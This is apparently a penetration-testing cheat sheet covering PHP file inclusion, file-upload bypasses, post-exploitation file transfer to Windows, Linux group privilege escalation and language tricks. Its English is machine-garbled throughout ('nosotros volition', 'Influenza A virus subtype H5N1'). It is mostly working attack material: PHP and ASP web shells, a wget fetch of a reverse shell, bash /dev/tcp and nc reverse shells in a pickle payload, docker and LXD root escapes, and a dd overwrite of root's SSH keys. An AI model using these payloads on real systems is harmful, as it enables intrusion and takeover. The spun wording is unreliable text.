File upload forms/ functions
Figure out if at that spot are whatever upload forms or functions, nosotros volition upload your malicious code to the victim server, which tin live executed.PHP wrapper expect://command
Allows execution of scheme commands via the php facial expression wrapper, unfortunately this is non enabled past times default.An instance of PHP expect:
If PHP facial expression wrapper is disabled, below error is encountered.
Warning: include(): Unable to regain the wrapper "expect" - did you lot forget to enable it when you<br> configured PHP? inward /var/www/fileincl/example1.php on line vii Warning: include(): Unable to regain the<br> wrapper "expect" - did you lot forget to enable it when you lot configured PHP? inward <br> /var/www/fileincl/example1.php on line vii Warning: include(expect://ls): failed to opened upwards stream: No such file or directory inward /var/www/fileincl/example1.php on line vii Warning: include(): Failed opening 'expect://ls' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') inward /var/www/fileincl/example1.php on line vii
PHP Wrapper zip
Let’s say at that spot is a upload functionality on the victim machine, notwithstanding the file saved doesn’t have got executeable permission, inward that instance if nosotros upload a zip file containing a shellcode such asCreating a php payload for listing electrical flow directory files (There tin live other payload also. For example, php meterpreter, if the “system” is blocked use, scandir() for directory listing etc. )
echo "<?php system("ls"); ?>" > shell.php
zip shell.zip shell.php
Zip Usage
zip://archive.zip#dir/file.txt
GET /?parameter=zip://uploads/def506bd2176265e006f2db3d7b4e9db11c459c1%23shell HTTP/1.1 Host: 10.50.66.93 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 %23 is the #
index.php upload.php uploads
PHP wrapper php://file
PHP wrapper php://filter
php://filter is a sort of meta-wrapper designed to permit the application of filters to a flow at the fourth dimension of opening. This is useful alongside all-in-one file functions such every bit readfile(), file(), in addition to file_get_contents() where at that spot is otherwise no chance to apply a filter to the flow prior the contents beingness read.The output is encoded using base64, so you’ll demand to decode the output.
or
We could usage php filter to read the source code of a PHP File
More information tin live found at Using PHP for file inclusion
PHP input:// stream
php://input allows you lot to read raw POST data. It is a less retention intensive alternative to $HTTP_RAW_POST_DATA in addition to does non demand whatever special php.ini directives. php://input is non available alongside enctype=”multipart/form-data”.Send your payload inward the POST asking using curl, burp.
Example:
Post Data payload:
<? system('wget http://IP/php-reverse-shell.php -O /var/www/shell.php');?>
/proc/self/environ
If it’s possible to include /proc/self/environ from your vulnerable LFI script, in addition to then code execution tin live leveraged past times manipulating the User Agent parameter alongside Burp. After the PHP code has been introduced /proc/self/environ tin live executed via your vulnerable LFI script./proc/self/fd
If it’s possible to innovate code into the proc log files that tin live executed via your vulnerable LFI script. Typically you lot would usage burp or curl to inject PHP code into the referer.This method is a picayune tricky every bit the proc file that contains the Apache error log information changes nether /proc/self/fd/ e.g. /proc/self/fd/2, /proc/self/fd/10 etc. Utilize LFI-LogFileCheck.txt alongside Burp Intruder, in addition to banking concern check for the returned page sizes.
Control over PHP Session Values
Let’s say, a vulnerable page is nowadays alongside the post requestPOST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27 Content-Length: 44 Connection: unopen Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=admin&lang=en_us.php
login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Now, nosotros tin write the cookie alongside a php command
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27 Content-Length: 134 Connection: unopen Upgrade-Insecure-Requests: 1 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Set-Cookie: user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E; expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 141 Connection: unopen Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
Email Server
Appendix-II : File Upload
Examples
Simple File Upload
Intercepting the asking inward Burp/ ZAP in addition to changing the file-extension.Below is the PHP code
<? component genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } render $string; } component makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); render $path; } component makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); render makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is likewise big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, delight seek again!"; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? impress genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?>
- Create a imitation JPG containing php code.We’ll live using system() to read our password.
echo "<?php system($_GET["cmd"]); ?>" > shell.jpg
- Upload JPG, intercept inward Burp/ ZAP in addition to modify the extension
<input name="filename" value="o0xn5q93si.jpg" type="hidden"> is changed to<input name="filename" value="o0xn5q93si.php" type="hidden">
Simple File Upload - With verifying picture type
In this the higher upwards PHP code rest almost the same apart from picayune improver that nosotros banking concern check the filetype of the file uploaded<?php ... else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is non an image"; } ... ?>
- Take a valid file (JPG or whichever file format, nosotros are trying to bypass), bring the valid hexdump of that file (Let’s say initiative of all 100 bytes)
Example:hexdump -n 100 -e '100/1 "\\x%02X" "\n"' sunflower.jpg -n length : Interpret only length bytes of Input -e format_string : Specify a format string to live used for displaying information
hexdump -n 100 -e '100/1 "\\x%02X" "\n"' sunflower.jpg \xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xE1\x00\x16\x45\x78\x69\x66\x00\x00\x4D\x4D\x00\x2A\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\xFF\xDB\x00\x43\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0C\x08\x07\x07\x07\x07\x0F\x0B\x0B\x09\x0C\x11\x0F\x12\x12\x11\x0F\x11\x11\x13\x16\x1C\x17\x13\x14\x1A\x15\x11\x11\x18\x21\x18\x1A\x1D\x1D\x1F
- Create a file alongside JPG header in addition to command vanquish code using python
>>> fh = open('shell.php','w') >>> fh.write('The Hexdump from higher upwards \xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>') >>> fh.close()
Tip
Do banking concern check the source code of the page for whatever client-side file validation or whatever commented hidden parameters?
Modifying File Upload Page
Upload forms are client-side, nosotros tin in all probability modify them using Inspect Element or F12. If by-chance, there’s a LFI in addition to nosotros have got seen the code of upload function. The initiative of all affair to banking concern check would live “What are the restrictions on upload i.e. Either only jpg file extension is uploaded or is file content is also banking concern check etc.”Let’s say, at that spot is a upload cast which has a text-field for accepting input (Let’s say - suspectinfo) in addition to the input pose inward this text acre is stored inward a file format on the server. Let’s consider the electrical flow cast inward inspect-element.
Client-Side Code
<form enctype="multipart/form-data" action="?op=upload" method="POST"> <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br> <input type="text" id="name" name="name" value="" style="width:355px;"> <input type="submit" name="submit" value="Send Tip!"> </form>
- text type acre named sinfo for providing detailed information nigh the server and
- text type acre named call for providing call of the server.
if(isset($_POST['submit']) && isset($_POST['sinfo'])) { $tip = $_POST['sinfo']; $secretname = Random_Filename(); ## Generates a random file call $location = Random_Number(); ## Generate a random number file_put_contents("uploads/". $location . '/' . $secretname, $sinfo);
In this case, if nosotros modify the input type of sinfo from text to file. We tin upload a file! Imagine uploading a zip file or php file.
<form enctype="multipart/form-data" action="?op=upload" method="POST"> # <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br> ---------- We have got commented this in addition to add together the below line. <input type="file" id="sinfo" name="sinfo" value="" style="width:355px;"> <input type="text" id="name" name="name" value="" style="width:355px;"> <input type="submit" name="submit" value="Send Tip!"> </form>
Tip
Sometimes, at that spot mightiness live cases when the developer has a commented a input type on the customer side, notwithstanding has forgotten to comment on the serverside code! Maybe, seek to uncomment in addition to consider what happens!
IIS - Web.config Upload
If nosotros are able to upload a web.config file past times a file upload functionality inward IIS - Windows machine, at that spot mightiness live a possibility of remote code execution.Influenza A virus subtype H5N1 web.config file lets you lot customize the way site or a specific directory on site behaves. For example, if you lot seat a web.config file inward your root directory, it volition bear on your entire site. If you lot seat it inward a /content directory, it volition only bear on that directory.
With a web.config file, you lot tin control:
- Database connexion strings.
- Error behavior.
- Security.
We tin upload the below web.config
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <% laid cmd = Request.QueryString("cmd") Set bone = Server.CreateObject("WSCRIPT.SHELL") output = os.exec("cmd.exe /c " + cmd).stdout.readall response.write output %>
Appendix-III Transferring Files from Linux to Windows (post-exploitation)
There would times, where nosotros have got a Windows Shell (Command Prompt) in addition to demand to re-create over some files to the Windows OS. Most of the materials has been completely taken from Transferring Files from Linux to Windows (post-exploitation) Here are the few methodsSMB
We demand to setup a SMB Server on the Debian/ Kali machineSMB Server - Attacker
We tin utilize Impacket smbserver to create a SMB Server without authentication, so that anyone tin access the portion in addition to download the files./usr/share/doc/python-impacket/examples/smbserver.py Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies usage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support] shareName sharePath This script volition launch a SMB Server in addition to add together a portion specified every bit an argument. You demand to live root inward lodge to bind to port 445. No authentication volition live enforced. Example: smbserver.py -comment 'My share' TMP /tmp positional arguments: shareName call of the portion to add together sharePath path of the portion to add together optional arguments: -h, --help demo this assist message in addition to move out -comment COMMENT share's comment to display when asked for shares -debug Turn DEBUG output ON -smb2support SMB2 Support (experimental!)
python smbserver.py SHELLS /root/Desktop/SHELLS Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed
Copying the Files - Windows
From the Windows Command Promptdir \\10.10.14.16\SHELLS Volume inward drive \\10.10.14.16\SHELLS has no label. Volume Serial Number is ABCD-EFAA Directory of \\10.10.14.16\SHELLS 04/10/2018 11:47 AM <DIR> . 04/08/2018 06:25 PM <DIR> .. 04/10/2018 11:47 AM 73,802 ps.exe 1 File(s) 101,696 bytes 2 Dir(s) 15,207,469,056 bytes gratuitous
C:\Users\bitvijays\Desktop> re-create \\10.10.14.16\SHELLS\ps.exe . 1 file(s) copied.
\\10.10.14.16\SHELLS\ps.exe ps.exe tin live your meterpreter exe
HTTP
Setting upwards the Server
We tin usage python-SimpleHTTPServer to laid upwards a HTTP Web Serverpython -m SimpleHTTPServer
Accessing the Server - Windows
Windows Command PromptWe tin usage powershell to download a file from a command prompt
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10:8000/ps.exe','C:\Users\bitvijays\Desktop\ps.exe')"
CertUtil command tin live abused to download a file from internet.
certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" pstools.zip
bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.10.10:8000/ps.exe c:\Users\bitvijays\Desktop\ps.exe
FTP
We tin utilize FTP to download/ upload files from a ftp server. FTP Client is usually installed on Windows past times default.Setting upwards the Server
We tin either usage Python-pyftpdlib or Metasploit to create a FTP ServerPython-pyftpdlib
Install using apt
apt-get install python-pyftpdlib
/home/bitvijays/SHELLS$ python -m pyftpdlib -p 21 Usage: python -m pyftpdlib [options] Start a stand upwards lone anonymous FTP server. Options: -h, --help : demo this assist message in addition to move out -i ADDRESS, --interface=ADDRESS : specify the interface to run on (default all interfaces) -p PORT, --port=PORT : specify port number to run on (default 2121) -w, --write : grants write access for logged inward user (default read-only) -d FOLDER, --directory=FOLDER : specify the directory to portion (default electrical flow directory) -n ADDRESS, --nat-address=ADDRESS : the NAT address to usage for passive connections -r FROM-TO, --range=FROM-TO : the arrive at of TCP ports to usage for passive connections (e.g. -r 8000-9000) -D, --debug : enable DEBUG logging evel -v, --version : impress pyftpdlib version in addition to move out -V, --verbose : activate a to a greater extent than verbose logging -u USERNAME, --username=USERNAME : specify username to login alongside (anonymous login volition live disabled in addition to password required if supplied) -P PASSWORD, --password=PASSWORD : specify a password to login alongside (username required to live useful)
Name: FTP File Server Module: auxiliary/server/ftp License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <x@hdm.io> Available actions: Name Description ---- ----------- Service Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS no Configure a specific password that should live allowed access FTPROOT /tmp/ftproot yes The FTP root directory to serve files from FTPUSER no Configure a specific username that should live allowed access PASVPORT 0 no The local PASV information port to take heed on (0 is random) SRVHOST 0.0.0.0 yes The local host to take heed on. This must live an address on the local machine or 0.0.0.0 SRVPORT 21 yes The local port to take heed on. SSL mistaken no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) Description: This module provides a FTP service
Access using FTP
ftp 10.10.10.10 Connected to 10.10.10.10. 220 FTP Server Ready Name (localhost:root): anonymous 331 User call okay, demand password... Password: 230 Login OK Remote scheme type is UNIX. Using binary fashion to transfer files. ftp> ls 200 PORT command successful. 150 Opening ASCII fashion information connexion for /bin/ls total 160 drwxr-xr-x 2 0 0 512 January 1 2000 .. drwxr-xr-x 2 0 0 512 January 1 2000 . -rw-r--r-- 1 0 0 166 January 1 2000 secret.zip 226 Transfer complete. ftp> acquire secret.zip local: secret.zip remote: secret.zip 200 PORT command successful. 150 Opening BINARY fashion information connexion for secret.zip 226 Transfer complete. 166 bytes received inward 0.00 secs (138.4367 kB/s) ftp>
Contents of a text file
open 10.10.10.10 anonymous anonymous binary acquire ps.exe adieu
ftp -s:filename-containing-commands
echo "open 10.10.10.10" >> commands.txt echo "anonymous" >> commands.txt
TFTP
We tin also utilize TFTP to download or upload filesSetting upwards the Server
Metasploit moduleuse auxiliary/server/tftp msf auxiliary(server/tftp) > information Name: TFTP File Server Module: auxiliary/server/tftp License: Metasploit Framework License (BSD) Rank: Normal Provided by: jduck <jduck@metasploit.com> todb <todb@metasploit.com> Available actions: Name Description ---- ----------- Service Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- OUTPUTPATH /tmp yes The directory inward which uploaded files volition live written. SRVHOST 0.0.0.0 yes The local host to take heed on. SRVPORT 69 yes The local port to take heed on. TFTPROOT /tmp yes The TFTP root directory to serve files from Description: This module provides a TFTP service msf auxiliary(server/tftp) > run [*] Auxiliary module running every bit background task 0. [*] Starting TFTP server on 0.0.0.0:69... [*] Files volition live served from /tmp [*] Uploaded files volition live saved inward /tmp
Installing tftp - Windows
pkgmgr /iu:"TFTP"
Appendix-IV Linux Group Membership Issues
Let’s examine inward what groups nosotros are members. Recommended read nigh groups: Users in addition to Groups in addition to System GroupsDocker Group
Any user who is component of the docker grouping should also live considered root. Read Using the docker command to root the host Older version of docker were vulnerable to Docker breakout. More details at Shocker / Docker Breakout PoCIf you lot are the docker user in addition to desire to acquire root.
Create a Dockerfile
mkdir docker-test cd docker-test truthful cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR
Build the Docker
docker build -t my-docker-image .
Note
If at that spot are already docker images nowadays on the host machine, nosotros tin utilize those also instead of making a novel one. If at that spot are none, nosotros tin re-create a picture to the vulnerable machine.
Save the docker picture every bit a tar file:
docker relieve -o <path for generated tar file> <image name>
docker charge -i <path to picture tar file>
Become root?
- Copy binaries from the container into the host in addition to give them suid permissions:
If the sh is non working, create a suid.c, compile it, suid it in addition to run.docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root
- Mount scheme directories into docker in addition to enquire docker to read (and write) restricted files that should live out of your user’s clearance:
docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat shadow' # root:!:16364:0:99999:7::: # daemon:*:16176:0:99999:7::: # bin:*:16176:0:99999:7::: # ...
- Bind the host’s / in addition to overwrite scheme commands alongside rogue programs:
docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/rogue-program /stuff/bin/cat'
- Privileged re-create of bash for later on access?
docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/bin/bash /stuff/bin/root-shell-ftw && chmod a+s /stuff/bin/root-shell-ftw' root-shell-ftw -p root-shell-ftw-4.3#
Video
If the user is a component of the video group, he mayhap mightiness have got access to the frame buffer (/dev/fb0) (which provides an abstraction for the video hardware), video capture devices, 2D/3D hardware acceleration. More details tin live found at Linux Framebuffer in addition to Kernel FramebufferIf, nosotros have got access to the framebuffer device /dev/fb0. We tin usage a tool similar fb2png to convert it to a png movie or nosotros tin truthful cat it in addition to acquire a file:
cat /dev/fb0 > screenshot.raw ls -l screenshot.raw -rw-rw-r-- 1 user user 4163040 May eighteen 03:52 screenshot.raw
cat /sys/class/graphics/fb0/virtual_size 1176,885
Disk
Debian’s wiki says nigh the “disk” group: Raw access to disks. Mostly equivalent to root access. The grouping disk tin live really dangerous, since difficult drives inward /dev/sd* in addition to /dev/hd* tin live read in addition to written bypassing whatever file scheme in addition to whatever partition, allowing a normal user to disclose, alter in addition to destroy both the partitions in addition to the information of such drives without root privileges. Users should never belong to this group.We tin usage debugfs command to read everything in addition to dd command to write anywhere.
Read /root/.ssh/authorized_keys using debugfs:
user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) ssh-rsa AAAAB3NzaC1yc2EAAAADAQA
user@hostname:/tmp$ debugfs /dev/sda1 -R "blocks /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) 1608806
user@hostname:/tmp$ dd if=/tmp/id_rsa.pub of=/dev/sda1 seek=1608806 bs=4096 count=1 0+1 records inward 0+1 records out 394 bytes copied, 0.00239741 s, 164 kB/s
user@hostname:/tmp$ sync
user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) ssh-rsa AAAAB3NzaC1yc2EAAAADAQA
Set file system
> debugfs /dev/hda6 debugfs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
List files
debugfs: ls 2790777 (12) . 32641 (12) .. 2790778 (12) dir1 2790781 (16) file1 2790782 (4044) file2
List the files alongside a long listing
Format is:- Field 1: Inode number.
- Field 2: First ane or 2 digits is the type of node:
- 2 = Character device
- 4 = Directory
- 6 = Block device
- 10 = Regular file
- 12 = Symbolic link
- The Last 4 digits are the Linux permissions
- Field 3: Owner uid
- Field 4: Group gid
- Field 5: Size inward bytes.
- Field 6: Date
- Field 7: Time of lastly creation.
- Field 8: Filename.
debugfs: ls -l 2790777 40700 2605 2601 4096 5-Nov-2001 15:30 . 32641 40755 2605 2601 4096 5-Nov-2001 14:25 .. 2790778 40700 2605 2601 4096 5-Nov-2001 12:43 dir1 2790781 100600 2605 2601 xiv 5-Nov-2001 15:29 file1 2790782 100600 2605 2601 xiv 5-Nov-2001 15:30 file2
Dump the contents of file1
debugfs: truthful cat file1 This is file1
Dump an inode to a file
Same every bit cat, but to a file in addition to using inode number instead of the file name.debugfs: dump <2790782> file1-debugfs
LXD
The below has been taken from LXD-EscapeLXD is Ubuntu’s container manager utilising linux containers. It could live considered to human activity inward the same sphere every bit docker. The lxd grouping should live considered harmful inward the same way the docker grouping is. Under no circumstances should a user inward a local container live given access to the lxd group.
Exploiting
ubuntu@ubuntu: $ lxc init ubuntu:16.04 examine -c security.privileged=true Creating examine ubuntu@ubuntu: $ lxc config device add together examine whatever disk source=/ path=/mnt/root recursive=true Device whatever added to examine ubuntu@ubuntu: $ lxc start examine ubuntu@ubuntu: $ lxc exec examine bash
ubuntu@ubuntu: $ lxc exec examine bash root@test: # cd /mnt/root root@test:/mnt/root# ls bin cdrom etc initrd.img lib64 media opt root sbin srv tmp var kick dev domicile lib lost+found mnt proc run snap sys usr vmlinuz root@test:/mnt/root# cd root root@test:/mnt/root/root# ls root@test:/mnt/root/root# touching ICanDoWhatever root@test:/mnt/root/root# move out exit
Appendix-V Coding Languages Tricks
Python
Pickle
If a website is using pickle to serialize in addition to de-serialize the requests in addition to in all probability using a unsafe way likecPickle.loads(data)
nosotros may use
class Shell_code(object): def __reduce__(self): render (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',)) or render (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.XX 4444 >/tmp/f',)) vanquish = cPickle.dumps(Shell_code())
cposix scheme p1 (S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.XX 4444 >/tmp/f' p2 tp3 Rp4 .
b'\x80\x03cposix\nsystem\nq\x00XT\x00\x00\x00/rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.26 4444 >/tmp/fq\x01\x85q\x02Rq\x03.'
import _pickle every bit cPickle
import cPickle
#data.txt containing our Pickled information import cPickle path = "/tmp/data.txt" information = open(path, "rb").read() item = cPickle.loads(data)
Tip
It mightiness live adept thought to usage requests (in instance of Website) or socket (in instance of listener) to shipping the payload.
PHP
Preg_Replace
PHP’s preg_replace() component which tin Pb to RCE. It’s deprecated inward later on revisions (PHP >= 5.5.0). If you lot think there’s a pattern which is replaced inward a text, refer The unexpected dangers of preg_replace() in addition to Exploiting PHP PCRE Functions Under most circumstances the PCRE engine is completely safe. It does, however, provide the /e modifier which allows evaluation of PHP code inward the preg_replace function. This tin live extremely unsafe if used carelessly.Complex Curly Syntax
PHP has Complex (curly) syntax The Complex Syntax to allow evaluation of our ain code inward double quotes.Example
$use_me = "ls -lah" {${system($use_me)}}
Xdebug
If you lot regain uncommon headers such every bit xdebug inward the response, it mightiness live possible to acquire a opposite shell. Xdebug is a php extension that allows to debug php pages, remotely past times using DGBp protocol. Code execution is possible via injections that be inward eval or property_set xdebug commands. Refer xpwn - exploiting xdebug enabled servers in addition to xdebug-shellType Juggling/ Magic Bytes
Type juggling inward PHP is caused past times an number of loose operations versus strict operations. Strict comparisons volition compare both the information values in addition to the types associated to them. Influenza A virus subtype H5N1 loose comparing volition usage context to empathize what type the information is. According to PHP documentation for comparing operations at Language Operators ComparisonIf you lot compare a number alongside a string or the comparing involves numerical strings, in addition to then each string is converted to a number in addition to the comparing performed numerically. These rules also apply to the switch statement. The type conversion does non bring seat when the comparing is === or !== every bit this involves comparing the type every bit good every bit the value.
So, if == or != is used to do the comparing or the password checks in addition to if md5(of a string/number) results inward a hash starting alongside 0e, at that spot mightiness live a possibility of bug.
Refer Magic Hashes, PHP Weak Typing Woes; With Some Pontification nigh Code in addition to Pen Testing in addition to Writing Exploits For Exotic Bug Classes: PHP Type Juggling